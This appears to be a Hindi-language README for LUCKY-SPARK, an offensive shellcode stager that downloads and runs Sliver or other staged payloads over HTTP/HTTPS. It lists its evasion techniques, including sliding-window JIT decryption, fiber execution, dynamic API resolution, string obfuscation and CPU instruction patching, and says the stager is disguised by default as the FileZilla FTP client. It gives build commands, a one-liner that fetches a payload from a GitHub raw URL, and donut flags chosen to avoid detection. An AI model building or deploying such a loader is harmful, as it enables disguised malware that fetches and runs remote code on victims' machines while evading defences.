LUCKY-SPARK

⟪ LUCKY-SPARK ⟫ एक स्टेजर है जिसे http/https के माध्यम से स्टेज किए गए shellcode पेलोड के लिए डिज़ाइन किया गया है, जैसे sliver या github raw पर। यह आधुनिक obfuscation और evasion विधियों का उपयोग करता है, जैसे पेलोड का sliding window just-in-time decryption और cpu instruction patching। डिफ़ॉल्ट रूप से यह filezilla ftp client के रूप में प्रच्छन्न एक executable बनाता है।

---

विशेषताएँ

• Staged Sliver Payload Loader निर्दिष्ट सर्वर से Sliver पेलोड डाउनलोड और निष्पादित करता है।
• JIT Shellcode Decryption एक्सपोज़र को कम करने के लिए पेलोड की केवल एक sliding window को डिक्रिप्ट करता है।
• Fiber-based Execution बेहतर स्टेल्थ और विश्लेषण को जटिल बनाने के लिए shellcode को fibers के भीतर चलाता है।
• Dynamic API Resolution संदिग्ध या डिटेक्शन-प्रवण Windows API फ़ंक्शन रनटाइम पर गतिशील रूप से लोड किए जाते हैं।
• String Obfuscation संवेदनशील स्ट्रिंग्स (जैसे, URLs, user agents) को affine cipher का उपयोग करके एन्क्रिप्ट किया जाता है और कंपाइल किए गए बाइनरी में obfuscated रूप में संग्रहीत किया जाता है।
• Cpu instruction patching aes cpu निर्देश pmulqd जैसे असंदिग्ध cpu निर्देशों के पीछे छिपे होते हैं और निष्पादन के बाद patched किए जाते हैं।
• Automatic Disguise EXE स्वचालित रूप से उचित manifest, version information और icons के साथ FileZilla के रूप में प्रच्छन्न किया जाता है।
• Customizable User-Agent नेटवर्क अनुरोधों के लिए कस्टम User-Agent स्ट्रिंग निर्दिष्ट करने का समर्थन करता है।

---

इंस्टॉलेशन

रिपॉज़िटरी को क्लोन या डाउनलोड करें और सुनिश्चित करें कि आपके सिस्टम पर make और mingw इंस्टॉल हैं।

git clone <repository_url>
cd LUCKY-SPARK

---

उपयोग

इंटरैक्टिव

बाइनरी निर्माण स्क्रिप्ट निष्पादित करें।

./luckySpark.sh

आपसे आपके स्टेज किए गए पेलोड का URL और एक वैकल्पिक User-Agent दर्ज करने के लिए कहा जाएगा।

एक पंक्ति

स्क्रिप्ट्स में लागू करने में सक्षम होने के लिए एक पंक्ति में निष्पादित किया जा सकता है:

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

पेलोड सुझाव

यदि आप donut या Sliver (जो donut का उपयोग करता है) का उपयोग करते हैं, तो मैं पेलोड बनाने के लिए इन flags की सलाह देता हूँ:

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

यह donut के संदिग्ध और flagged व्यवहार से बचता है। विशेष रूप से विडंबनापूर्ण रूप से donut का evasion अत्यधिक flagged है।

लोडर चलाएँ

यह एक बाइनरी filezilla.exe बनाता है जो निष्पादित होने पर पेलोड को प्राप्त और निष्पादित करता है।

---

पेलोड स्टेज करना

यह स्टेजर Sliver के साथ उपयोग के लिए डिज़ाइन किया गया था। यहाँ वर्णित अनुसार Sliver पेलोड स्टेज करें Sliver Staging पेलोड को एन्क्रिप्ट न करें।

लेकिन कोई भी http/https आधारित स्टेजिंग विधि काम करेगी। जैसे python3 -m http.server या github.com पर एक सार्वजनिक रेपो में अपलोड किया गया पेलोड।

यह स्टेजर meterpreter स्टेजिंग प्रोटोकॉल का समर्थन नहीं करता है।

---

Sliding Window JITD

Step 1: RIP hits Page 0 and Page 0 gets decrypted 
  Pages:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Step 2: RIP hits Page 1 and Page 1 gets decrypted 
  Pages:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
  Pages:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

यह कैसे काम करता है:

1. जब RIP किसी guarded page पर पहुँचता है, तो VEH handler उस page को डिक्रिप्ट करता है।
2. 3-page window में सबसे पुराना page फिर से एन्क्रिप्ट हो जाता है।
3. केवल अंतिम दो pages डिक्रिप्ट रहते हैं, बाकी सुरक्षित रहते हैं।
4. यह "sliding window" कोड निष्पादित होने के साथ RIP के साथ चलता है।

---

---

सुरक्षा और अस्वीकरण

LUCKY-SPARK केवल शैक्षिक, अनुसंधान और अधिकृत penetration testing के लिए है। अनुमति के बिना सिस्टम के विरुद्ध अनधिकृत उपयोग अवैध और अनैतिक है।

---